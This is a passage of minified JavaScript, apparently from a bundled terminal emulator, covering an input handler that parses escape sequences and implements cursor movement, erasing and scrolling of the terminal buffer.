s=0;s<i.length;s++)i[s].call(void 0,e,t)}dispose(){this.clearListeners(),this._disposed=!0}clearListeners(){this._listeners&&(this._listeners.length=0)}},t.forwardEvent=function(e,t){return e((e=>t.fire(e)))}},5435:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.InputHandler=t.WindowsOptionsReportType=void 0;const n=i(2584),o=i(7116),a=i(2015),h=i(844),c=i(482),l=i(8437),d=i(8460),u=i(643),_=i(511),f=i(3734),v=i(2585),p=i(6242),g=i(6351),m=i(5941),S={"(":0,")":1,"*":2,"+":3,"-":1,".":2},b=131072;function C(e,t){if(e>24)return t.setWinLines||!1;switch(e){case 1:return!!t.restoreWin;case 2:return!!t.minimizeWin;case 3:return!!t.setWinPosition;case 4:return!!t.setWinSizePixels;case 5:return!!t.raiseWin;case 6:return!!t.lowerWin;case 7:return!!t.refreshWin;case 8:return!!t.setWinSizeChars;case 9:return!!t.maximizeWin;case 10:return!!t.fullscreenWin;case 11:return!!t.getWinState;case 13:return!!t.getWinPosition;case 14:return!!t.getWinSizePixels;case 15:return!!t.getScreenSizePixels;case 16:return!!t.getCellSizePixels;case 18:return!!t.getWinSizeChars;case 19:return!!t.getScreenSizeChars;case 20:return!!t.getIconTitle;case 21:return!!t.getWinTitle;case 22:return!!t.pushTitle;case 23:return!!t.popTitle;case 24:return!!t.setWinLines}return!1}var y;!function(e){e[e.GET_WIN_SIZE_PIXELS=0]="GET_WIN_SIZE_PIXELS",e[e.GET_CELL_SIZE_PIXELS=1]="GET_CELL_SIZE_PIXELS"}(y||(t.WindowsOptionsReportType=y={}));let w=0;class E extends h.Disposable{getAttrData(){return this._curAttrData}constructor(e,t,i,s,r,h,u,f,v=new a.EscapeSequenceParser){super(),this._bufferService=e,this._charsetService=t,this._coreService=i,this._logService=s,this._optionsService=r,this._oscLinkService=h,this._coreMouseService=u,this._unicodeService=f,this._parser=v,this._parseBuffer=new Uint32Array(4096),this._stringDecoder=new c.StringToUtf32,this._utf8Decoder=new c.Utf8ToUtf32,this._workCell=new _.CellData,this._windowTitle="",this._iconName="",this._windowTitleStack=[],this._iconNameStack=[],this._curAttrData=l.DEFAULT_ATTR_DATA.clone(),this._eraseAttrDataInternal=l.DEFAULT_ATTR_DATA.clone(),this._onRequestBell=this.register(new d.EventEmitter),this.onRequestBell=this._onRequestBell.event,this._onRequestRefreshRows=this.register(new d.EventEmitter),this.onRequestRefreshRows=this._onRequestRefreshRows.event,this._onRequestReset=this.register(new d.EventEmitter),this.onRequestReset=this._onRequestReset.event,this._onRequestSendFocus=this.register(new d.EventEmitter),this.onRequestSendFocus=this._onRequestSendFocus.event,this._onRequestSyncScrollBar=this.register(new d.EventEmitter),this.onRequestSyncScrollBar=this._onRequestSyncScrollBar.event,this._onRequestWindowsOptionsReport=this.register(new d.EventEmitter),this.onRequestWindowsOptionsReport=this._onRequestWindowsOptionsReport.event,this._onA11yChar=this.register(new d.EventEmitter),this.onA11yChar=this._onA11yChar.event,this._onA11yTab=this.register(new d.EventEmitter),this.onA11yTab=this._onA11yTab.event,this._onCursorMove=this.register(new d.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onLineFeed=this.register(new d.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onScroll=this.register(new d.EventEmitter),this.onScroll=this._onScroll.event,this._onTitleChange=this.register(new d.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onColor=this.register(new d.EventEmitter),this.onColor=this._onColor.event,this._parseStack={paused:!1,cursorStartX:0,cursorStartY:0,decodedLength:0,position:0},this._specialColors=[256,257,258],this.register(this._parser),this._dirtyRowTracker=new k(this._bufferService),this._activeBuffer=this._bufferService.buffer,this.register(this._bufferService.buffers.onBufferActivate((e=>this._activeBuffer=e.activeBuffer))),this._parser.setCsiHandlerFallback(((e,t)=>{this._logService.debug("Unknown CSI code: ",{identifier:this._parser.identToString(e),params:t.toArray()})})),this._parser.setEscHandlerFallback((e=>{this._logService.debug("Unknown ESC code: ",{identifier:this._parser.identToString(e)})})),this._parser.setExecuteHandlerFallback((e=>{this._logService.debug("Unknown EXECUTE code: ",{code:e})})),this._parser.setOscHandlerFallback(((e,t,i)=>{this._logService.debug("Unknown OSC code: ",{identifier:e,action:t,data:i})})),this._parser.setDcsHandlerFallback(((e,t,i)=>{"HOOK"===t&&(i=i.toArray()),this._logService.debug("Unknown DCS code: ",{identifier:this._parser.identToString(e),action:t,payload:i})})),this._parser.setPrintHandler(((e,t,i)=>this.print(e,t,i))),this._parser.registerCsiHandler({final:"@"},(e=>this.insertChars(e))),this._parser.registerCsiHandler({intermediates:" ",final:"@"},(e=>this.scrollLeft(e))),this._parser.registerCsiHandler({final:"A"},(e=>this.cursorUp(e))),this._parser.registerCsiHandler({intermediates:" ",final:"A"},(e=>this.scrollRight(e))),this._parser.registerCsiHandler({final:"B"},(e=>this.cursorDown(e))),this._parser.registerCsiHandler({final:"C"},(e=>this.cursorForward(e))),this._parser.registerCsiHandler({final:"D"},(e=>this.cursorBackward(e))),this._parser.registerCsiHandler({final:"E"},(e=>this.cursorNextLine(e))),this._parser.registerCsiHandler({final:"F"},(e=>this.cursorPrecedingLine(e))),this._parser.registerCsiHandler({final:"G"},(e=>this.cursorCharAbsolute(e))),this._parser.registerCsiHandler({final:"H"},(e=>this.cursorPosition(e))),this._parser.registerCsiHandler({final:"I"},(e=>this.cursorForwardTab(e))),this._parser.registerCsiHandler({final:"J"},(e=>this.eraseInDisplay(e,!1))),this._parser.registerCsiHandler({prefix:"?",final:"J"},(e=>this.eraseInDisplay(e,!0))),this._parser.registerCsiHandler({final:"K"},(e=>this.eraseInLine(e,!1))),this._parser.registerCsiHandler({prefix:"?",final:"K"},(e=>this.eraseInLine(e,!0))),this._parser.registerCsiHandler({final:"L"},(e=>this.insertLines(e))),this._parser.registerCsiHandler({final:"M"},(e=>this.deleteLines(e))),this._parser.registerCsiHandler({final:"P"},(e=>this.deleteChars(e))),this._parser.registerCsiHandler({final:"S"},(e=>this.scrollUp(e))),this._parser.registerCsiHandler({final:"T"},(e=>this.scrollDown(e))),this._parser.registerCsiHandler({final:"X"},(e=>this.eraseChars(e))),this._parser.registerCsiHandler({final:"Z"},(e=>this.cursorBackwardTab(e))),this._parser.registerCsiHandler({final:"`"},(e=>this.charPosAbsolute(e))),this._parser.registerCsiHandler({final:"a"},(e=>this.hPositionRelative(e))),this._parser.registerCsiHandler({final:"b"},(e=>this.repeatPrecedingCharacter(e))),this._parser.registerCsiHandler({final:"c"},(e=>this.sendDeviceAttributesPrimary(e))),this._parser.registerCsiHandler({prefix:">",final:"c"},(e=>this.sendDeviceAttributesSecondary(e))),this._parser.registerCsiHandler({final:"d"},(e=>this.linePosAbsolute(e))),this._parser.registerCsiHandler({final:"e"},(e=>this.vPositionRelative(e))),this._parser.registerCsiHandler({final:"f"},(e=>this.hVPosition(e))),this._parser.registerCsiHandler({final:"g"},(e=>this.tabClear(e))),this._parser.registerCsiHandler({final:"h"},(e=>this.setMode(e))),this._parser.registerCsiHandler({prefix:"?",final:"h"},(e=>this.setModePrivate(e))),this._parser.registerCsiHandler({final:"l"},(e=>this.resetMode(e))),this._parser.registerCsiHandler({prefix:"?",final:"l"},(e=>this.resetModePrivate(e))),this._parser.registerCsiHandler({final:"m"},(e=>this.charAttributes(e))),this._parser.registerCsiHandler({final:"n"},(e=>this.deviceStatus(e))),this._parser.registerCsiHandler({prefix:"?",final:"n"},(e=>this.deviceStatusPrivate(e))),this._parser.registerCsiHandler({intermediates:"!",final:"p"},(e=>this.softReset(e))),this._parser.registerCsiHandler({intermediates:" ",final:"q"},(e=>this.setCursorStyle(e))),this._parser.registerCsiHandler({final:"r"},(e=>this.setScrollRegion(e))),this._parser.registerCsiHandler({final:"s"},(e=>this.saveCursor(e))),this._parser.registerCsiHandler({final:"t"},(e=>this.windowOptions(e))),this._parser.registerCsiHandler({final:"u"},(e=>this.restoreCursor(e))),this._parser.registerCsiHandler({intermediates:"'",final:"}"},(e=>this.insertColumns(e))),this._parser.registerCsiHandler({intermediates:"'",final:"~"},(e=>this.deleteColumns(e))),this._parser.registerCsiHandler({intermediates:'"',final:"q"},(e=>this.selectProtected(e))),this._parser.registerCsiHandler({intermediates:"$",final:"p"},(e=>this.requestMode(e,!0))),this._parser.registerCsiHandler({prefix:"?",intermediates:"$",final:"p"},(e=>this.requestMode(e,!1))),this._parser.setExecuteHandler(n.C0.BEL,(()=>this.bell())),this._parser.setExecuteHandler(n.C0.LF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.VT,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.FF,(()=>this.lineFeed())),this._parser.setExecuteHandler(n.C0.CR,(()=>this.carriageReturn())),this._parser.setExecuteHandler(n.C0.BS,(()=>this.backspace())),this._parser.setExecuteHandler(n.C0.HT,(()=>this.tab())),this._parser.setExecuteHandler(n.C0.SO,(()=>this.shiftOut())),this._parser.setExecuteHandler(n.C0.SI,(()=>this.shiftIn())),this._parser.setExecuteHandler(n.C1.IND,(()=>this.index())),this._parser.setExecuteHandler(n.C1.NEL,(()=>this.nextLine())),this._parser.setExecuteHandler(n.C1.HTS,(()=>this.tabSet())),this._parser.registerOscHandler(0,new p.OscHandler((e=>(this.setTitle(e),this.setIconName(e),!0)))),this._parser.registerOscHandler(1,new p.OscHandler((e=>this.setIconName(e)))),this._parser.registerOscHandler(2,new p.OscHandler((e=>this.setTitle(e)))),this._parser.registerOscHandler(4,new p.OscHandler((e=>this.setOrReportIndexedColor(e)))),this._parser.registerOscHandler(8,new p.OscHandler((e=>this.setHyperlink(e)))),this._parser.registerOscHandler(10,new p.OscHandler((e=>this.setOrReportFgColor(e)))),this._parser.registerOscHandler(11,new p.OscHandler((e=>this.setOrReportBgColor(e)))),this._parser.registerOscHandler(12,new p.OscHandler((e=>this.setOrReportCursorColor(e)))),this._parser.registerOscHandler(104,new p.OscHandler((e=>this.restoreIndexedColor(e)))),this._parser.registerOscHandler(110,new p.OscHandler((e=>this.restoreFgColor(e)))),this._parser.registerOscHandler(111,new p.OscHandler((e=>this.restoreBgColor(e)))),this._parser.registerOscHandler(112,new p.OscHandler((e=>this.restoreCursorColor(e)))),this._parser.registerEscHandler({final:"7"},(()=>this.saveCursor())),this._parser.registerEscHandler({final:"8"},(()=>this.restoreCursor())),this._parser.registerEscHandler({final:"D"},(()=>this.index())),this._parser.registerEscHandler({final:"E"},(()=>this.nextLine())),this._parser.registerEscHandler({final:"H"},(()=>this.tabSet())),this._parser.registerEscHandler({final:"M"},(()=>this.reverseIndex())),this._parser.registerEscHandler({final:"="},(()=>this.keypadApplicationMode())),this._parser.registerEscHandler({final:">"},(()=>this.keypadNumericMode())),this._parser.registerEscHandler({final:"c"},(()=>this.fullReset())),this._parser.registerEscHandler({final:"n"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:"o"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:"|"},(()=>this.setgLevel(3))),this._parser.registerEscHandler({final:"}"},(()=>this.setgLevel(2))),this._parser.registerEscHandler({final:"~"},(()=>this.setgLevel(1))),this._parser.registerEscHandler({intermediates:"%",final:"@"},(()=>this.selectDefaultCharset())),this._parser.registerEscHandler({intermediates:"%",final:"G"},(()=>this.selectDefaultCharset()));for(const e in o.CHARSETS)this._parser.registerEscHandler({intermediates:"(",final:e},(()=>this.selectCharset("("+e))),this._parser.registerEscHandler({intermediates:")",final:e},(()=>this.selectCharset(")"+e))),this._parser.registerEscHandler({intermediates:"*",final:e},(()=>this.selectCharset("*"+e))),this._parser.registerEscHandler({intermediates:"+",final:e},(()=>this.selectCharset("+"+e))),this._parser.registerEscHandler({intermediates:"-",final:e},(()=>this.selectCharset("-"+e))),this._parser.registerEscHandler({intermediates:".",final:e},(()=>this.selectCharset("."+e))),this._parser.registerEscHandler({intermediates:"/",final:e},(()=>this.selectCharset("/"+e)));this._parser.registerEscHandler({intermediates:"#",final:"8"},(()=>this.screenAlignmentPattern())),this._parser.setErrorHandler((e=>(this._logService.error("Parsing error: ",e),e))),this._parser.registerDcsHandler({intermediates:"$",final:"q"},new g.DcsHandler(((e,t)=>this.requestStatusString(e,t))))}_preserveStack(e,t,i,s){this._parseStack.paused=!0,this._parseStack.cursorStartX=e,this._parseStack.cursorStartY=t,this._parseStack.decodedLength=i,this._parseStack.position=s}_logSlowResolvingAsync(e){this._logService.logLevel<=v.LogLevelEnum.WARN&&Promise.race([e,new Promise(((e,t)=>setTimeout((()=>t("#SLOW_TIMEOUT")),5e3)))]).catch((e=>{if("#SLOW_TIMEOUT"!==e)throw e;console.warn("async parser handler taking longer than 5000 ms")}))}_getCurrentLinkId(){return this._curAttrData.extended.urlId}parse(e,t){let i,s=this._activeBuffer.x,r=this._activeBuffer.y,n=0;const o=this._parseStack.paused;if(o){if(i=this._parser.parse(this._parseBuffer,this._parseStack.decodedLength,t))return this._logSlowResolvingAsync(i),i;s=this._parseStack.cursorStartX,r=this._parseStack.cursorStartY,this._parseStack.paused=!1,e.length>b&&(n=this._parseStack.position+b)}if(this._logService.logLevel<=v.LogLevelEnum.DEBUG&&this._logService.debug("parsing data"+("string"==typeof e?` "${e}"`:` "${Array.prototype.map.call(e,(e=>String.fromCharCode(e))).join("")}"`),"string"==typeof e?e.split("").map((e=>e.charCodeAt(0))):e),this._parseBuffer.length<e.length&&this._parseBuffer.length<b&&(this._parseBuffer=new Uint32Array(Math.min(e.length,b))),o||this._dirtyRowTracker.clearRange(),e.length>b)for(let t=n;t<e.length;t+=b){const n=t+b<e.length?t+b:e.length,o="string"==typeof e?this._stringDecoder.decode(e.substring(t,n),this._parseBuffer):this._utf8Decoder.decode(e.subarray(t,n),this._parseBuffer);if(i=this._parser.parse(this._parseBuffer,o))return this._preserveStack(s,r,o,t),this._logSlowResolvingAsync(i),i}else if(!o){const t="string"==typeof e?this._stringDecoder.decode(e,this._parseBuffer):this._utf8Decoder.decode(e,this._parseBuffer);if(i=this._parser.parse(this._parseBuffer,t))return this._preserveStack(s,r,t,0),this._logSlowResolvingAsync(i),i}this._activeBuffer.x===s&&this._activeBuffer.y===r||this._onCursorMove.fire(),this._onRequestRefreshRows.fire(this._dirtyRowTracker.start,this._dirtyRowTracker.end)}print(e,t,i){let s,r;const n=this._charsetService.charset,o=this._optionsService.rawOptions.screenReaderMode,a=this._bufferService.cols,h=this._coreService.decPrivateModes.wraparound,l=this._coreService.modes.insertMode,d=this._curAttrData;let _=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._activeBuffer.x&&i-t>0&&2===_.getWidth(this._activeBuffer.x-1)&&_.setCellFromCodePoint(this._activeBuffer.x-1,0,1,d.fg,d.bg,d.extended);for(let f=t;f<i;++f){if(s=e[f],r=this._unicodeService.wcwidth(s),s<127&&n){const e=n[String.fromCharCode(s)];e&&(s=e.charCodeAt(0))}if(o&&this._onA11yChar.fire((0,c.stringFromCodePoint)(s)),this._getCurrentLinkId()&&this._oscLinkService.addLineToLink(this._getCurrentLinkId(),this._activeBuffer.ybase+this._activeBuffer.y),r||!this._activeBuffer.x){if(this._activeBuffer.x+r-1>=a)if(h){for(;this._activeBuffer.x<a;)_.setCellFromCodePoint(this._activeBuffer.x++,0,1,d.fg,d.bg,d.extended);this._activeBuffer.x=0,this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData(),!0)):(this._activeBuffer.y>=this._bufferService.rows&&(this._activeBuffer.y=this._bufferService.rows-1),this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!0),_=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y)}else if(this._activeBuffer.x=a-1,2===r)continue;if(l&&(_.insertCells(this._activeBuffer.x,r,this._activeBuffer.getNullCell(d),d),2===_.getWidth(a-1)&&_.setCellFromCodePoint(a-1,u.NULL_CELL_CODE,u.NULL_CELL_WIDTH,d.fg,d.bg,d.extended)),_.setCellFromCodePoint(this._activeBuffer.x++,s,r,d.fg,d.bg,d.extended),r>0)for(;--r;)_.setCellFromCodePoint(this._activeBuffer.x++,0,0,d.fg,d.bg,d.extended)}else _.getWidth(this._activeBuffer.x-1)?_.addCodepointToCell(this._activeBuffer.x-1,s):_.addCodepointToCell(this._activeBuffer.x-2,s)}i-t>0&&(_.loadCell(this._activeBuffer.x-1,this._workCell),2===this._workCell.getWidth()||this._workCell.getCode()>65535?this._parser.precedingCodepoint=0:this._workCell.isCombined()?this._parser.precedingCodepoint=this._workCell.getChars().charCodeAt(0):this._parser.precedingCodepoint=this._workCell.content),this._activeBuffer.x<a&&i-t>0&&0===_.getWidth(this._activeBuffer.x)&&!_.hasContent(this._activeBuffer.x)&&_.setCellFromCodePoint(this._activeBuffer.x,0,1,d.fg,d.bg,d.extended),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}registerCsiHandler(e,t){return"t"!==e.final||e.prefix||e.intermediates?this._parser.registerCsiHandler(e,t):this._parser.registerCsiHandler(e,(e=>!C(e.params[0],this._optionsService.rawOptions.windowOptions)||t(e)))}registerDcsHandler(e,t){return this._parser.registerDcsHandler(e,new g.DcsHandler(t))}registerEscHandler(e,t){return this._parser.registerEscHandler(e,t)}registerOscHandler(e,t){return this._parser.registerOscHandler(e,new p.OscHandler(t))}bell(){return this._onRequestBell.fire(),!0}lineFeed(){return this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._optionsService.rawOptions.convertEol&&(this._activeBuffer.x=0),this._activeBuffer.y++,this._activeBuffer.y===this._activeBuffer.scrollBottom+1?(this._activeBuffer.y--,this._bufferService.scroll(this._eraseAttrData())):this._activeBuffer.y>=this._bufferService.rows?this._activeBuffer.y=this._bufferService.rows-1:this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.x>=this._bufferService.cols&&this._activeBuffer.x--,this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._onLineFeed.fire(),!0}carriageReturn(){return this._activeBuffer.x=0,!0}backspace(){var e;if(!this._coreService.decPrivateModes.reverseWraparound)return this._restrictCursor(),this._activeBuffer.x>0&&this._activeBuffer.x--,!0;if(this._restrictCursor(this._bufferService.cols),this._activeBuffer.x>0)this._activeBuffer.x--;else if(0===this._activeBuffer.x&&this._activeBuffer.y>this._activeBuffer.scrollTop&&this._activeBuffer.y<=this._activeBuffer.scrollBottom&&(null===(e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y))||void 0===e?void 0:e.isWrapped)){this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y).isWrapped=!1,this._activeBuffer.y--,this._activeBuffer.x=this._bufferService.cols-1;const e=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);e.hasWidth(this._activeBuffer.x)&&!e.hasContent(this._activeBuffer.x)&&this._activeBuffer.x--}return this._restrictCursor(),!0}tab(){if(this._activeBuffer.x>=this._bufferService.cols)return!0;const e=this._activeBuffer.x;return this._activeBuffer.x=this._activeBuffer.nextStop(),this._optionsService.rawOptions.screenReaderMode&&this._onA11yTab.fire(this._activeBuffer.x-e),!0}shiftOut(){return this._charsetService.setgLevel(1),!0}shiftIn(){return this._charsetService.setgLevel(0),!0}_restrictCursor(e=this._bufferService.cols-1){this._activeBuffer.x=Math.min(e,Math.max(0,this._activeBuffer.x)),this._activeBuffer.y=this._coreService.decPrivateModes.origin?Math.min(this._activeBuffer.scrollBottom,Math.max(this._activeBuffer.scrollTop,this._activeBuffer.y)):Math.min(this._bufferService.rows-1,Math.max(0,this._activeBuffer.y)),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_setCursor(e,t){this._dirtyRowTracker.markDirty(this._activeBuffer.y),this._coreService.decPrivateModes.origin?(this._activeBuffer.x=e,this._activeBuffer.y=this._activeBuffer.scrollTop+t):(this._activeBuffer.x=e,this._activeBuffer.y=t),this._restrictCursor(),this._dirtyRowTracker.markDirty(this._activeBuffer.y)}_moveCursor(e,t){this._restrictCursor(),this._setCursor(this._activeBuffer.x+e,this._activeBuffer.y+t)}cursorUp(e){const t=this._activeBuffer.y-this._activeBuffer.scrollTop;return t>=0?this._moveCursor(0,-Math.min(t,e.params[0]||1)):this._moveCursor(0,-(e.params[0]||1)),!0}cursorDown(e){const t=this._activeBuffer.scrollBottom-this._activeBuffer.y;return t>=0?this._moveCursor(0,Math.min(t,e.params[0]||1)):this._moveCursor(0,e.params[0]||1),!0}cursorForward(e){return this._moveCursor(e.params[0]||1,0),!0}cursorBackward(e){return this._moveCursor(-(e.params[0]||1),0),!0}cursorNextLine(e){return this.cursorDown(e),this._activeBuffer.x=0,!0}cursorPrecedingLine(e){return this.cursorUp(e),this._activeBuffer.x=0,!0}cursorCharAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}cursorPosition(e){return this._setCursor(e.length>=2?(e.params[1]||1)-1:0,(e.params[0]||1)-1),!0}charPosAbsolute(e){return this._setCursor((e.params[0]||1)-1,this._activeBuffer.y),!0}hPositionRelative(e){return this._moveCursor(e.params[0]||1,0),!0}linePosAbsolute(e){return this._setCursor(this._activeBuffer.x,(e.params[0]||1)-1),!0}vPositionRelative(e){return this._moveCursor(0,e.params[0]||1),!0}hVPosition(e){return this.cursorPosition(e),!0}tabClear(e){const t=e.params[0];return 0===t?delete this._activeBuffer.tabs[this._activeBuffer.x]:3===t&&(this._activeBuffer.tabs={}),!0}cursorForwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.nextStop();return!0}cursorBackwardTab(e){if(this._activeBuffer.x>=this._bufferService.cols)return!0;let t=e.params[0]||1;for(;t--;)this._activeBuffer.x=this._activeBuffer.prevStop();return!0}selectProtected(e){const t=e.params[0];return 1===t&&(this._curAttrData.bg|=536870912),2!==t&&0!==t||(this._curAttrData.bg&=-536870913),!0}_eraseInBufferLine(e,t,i,s=!1,r=!1){const n=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);n.replaceCells(t,i,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData(),r),s&&(n.isWrapped=!1)}_resetBufferLine(e,t=!1){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i&&(i.fill(this._activeBuffer.getNullCell(this._eraseAttrData()),t),this._bufferService.buffer.clearMarkers(this._activeBuffer.ybase+e),i.isWrapped=!1)}eraseInDisplay(e,t=!1){let i;switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:for(i=this._activeBuffer.y,this._dirtyRowTracker.markDirty(i),this._eraseInBufferLine(i++,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);i<this._bufferService.rows;i++)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(i);break;case 1:for(i=this._activeBuffer.y,this._dirtyRowTracker.markDirty(i),this._eraseInBufferLine(i,0,this._activeBuffer.x+1,!0,t),this._activeBuffer.x+1>=this._bufferService.cols&&(this._activeBuffer.lines.get(i+1).isWrapped=!1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 2:for(i=this._bufferService.rows,this._dirtyRowTracker.markDirty(i-1);i--;)this._resetBufferLine(i,t);this._dirtyRowTracker.markDirty(0);break;case 3:const e=this._activeBuffer.lines.length-this._bufferService.rows;e>0&&(this._activeBuffer.lines.trimStart(e),this._activeBuffer.ybase=Math.max(this._activeBuffer.ybase-e,0),this._activeBuffer.ydisp=Math.max(this._activeBuffer.ydisp-e,0),this._onScroll.fire(0))}return!0}eraseInLine(e,t=!1){switch(this._restrictCursor(this._bufferService.cols),e.params[0]){case 0:this._eraseInBufferLine(this._activeBuffer.y,this._activeBuffer.x,this._bufferService.cols,0===this._activeBuffer.x,t);break;case 1:this._eraseInBufferLine(this._activeBuffer.y,0,this._activeBuffer.x+1,!1,t);break;case 2:this._eraseInBufferLine(this._activeBuffer.y,0,this._bufferService.cols,!0,t)}return this._dirtyRowTracker.markDirty(this._activeBuffer.y),!0}insertLines(e){this._restrictCursor();let t=e.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const i=this._activeBuffer.ybase+this._activeBuffer.y,s=this._bufferService.rows-1-this._activeBuffer.scrollBottom,r=this._bufferService.rows-1+this._activeBuffer.ybase-s+1;for(;t--;)this._activeBuffer.lines.splice(r-1,1),this._activeBuffer.lines.splice(i,0,this._activeBuffer.getBlankLine(this._eraseAttrData()));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.y,this._activeBuffer.scrollBottom),this._activeBuffer.x=0,!0}deleteLines(e){this._restrictCursor();let t=e.params[0]||1;if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const i=this._activeBuffer.ybase+this._activeBuffer.y;let s;for(s=this._bufferService.rows-1-this._activeBuffer.scrollBottom,s=this._bufferService.rows-1+this._activeBuffer.ybase-s;t--;)this._activeBuffer.lines.splice(i,1),this._activeBuffer.lines.splice(s,0,this._activeBuffer.getBlankLine(this._eraseAttrData()));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.y,this._activeBuffer.scrollBottom),this._activeBuffer.x=0,!0}insertChars(e){this._restrictCursor();const t=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);return t&&(t.insertCells(this._activeBuffer.x,e.params[0]||1,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),this._dirtyRowTracker.markDirty(this._activeBuffer.y)),!0}deleteChars(e){this._restrictCursor();const t=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);return t&&(t.deleteCells(this._activeBuffer.x,e.params[0]||1,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),this._dirtyRowTracker.markDirty(this._activeBuffer.y)),!0}scrollUp(e){let t=e.params[0]||1;for(;t--;)this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollTop,1),this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollBottom,0,this._activeBuffer.getBlankLine(this._eraseAttrData()));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}scrollDown(e){let t=e.params[0]||1;for(;t--;)this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollBottom,1),this._activeBuffer.lines.splice(this._activeBuffer.ybase+this._activeBuffer.scrollTop,0,this._activeBuffer.getBlankLine(l.DEFAULT_ATTR_DATA));return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}scrollLeft(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.deleteCells(0,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}scrollRight(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.insertCells(0,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}insertColumns(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.insertCells(this._activeBuffer.x,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}deleteColumns(e){if(this._activeBuffer.y>this._activeBuffer.scrollBottom||this._activeBuffer.y<this._activeBuffer.scrollTop)return!0;const t=e.params[0]||1;for(let e=this._activeBuffer.scrollTop;e<=this._activeBuffer.scrollBottom;++e){const i=this._activeBuffer.lines.get(this._activeBuffer.ybase+e);i.deleteCells(this._activeBuffer.x,t,this._activeBuffer.getNullCell(this._eraseAttrData()),this._eraseAttrData()),i.isWrapped=!1}return this._dirtyRowTracker.markRangeDirty(this._activeBuffer.scrollTop,this._activeBuffer.scrollBottom),!0}eraseChars(e){this._restrictCursor();const t=this._activeBuffer.lines.get(this._activeBuffer.ybase+this._activeBuffer.y);return 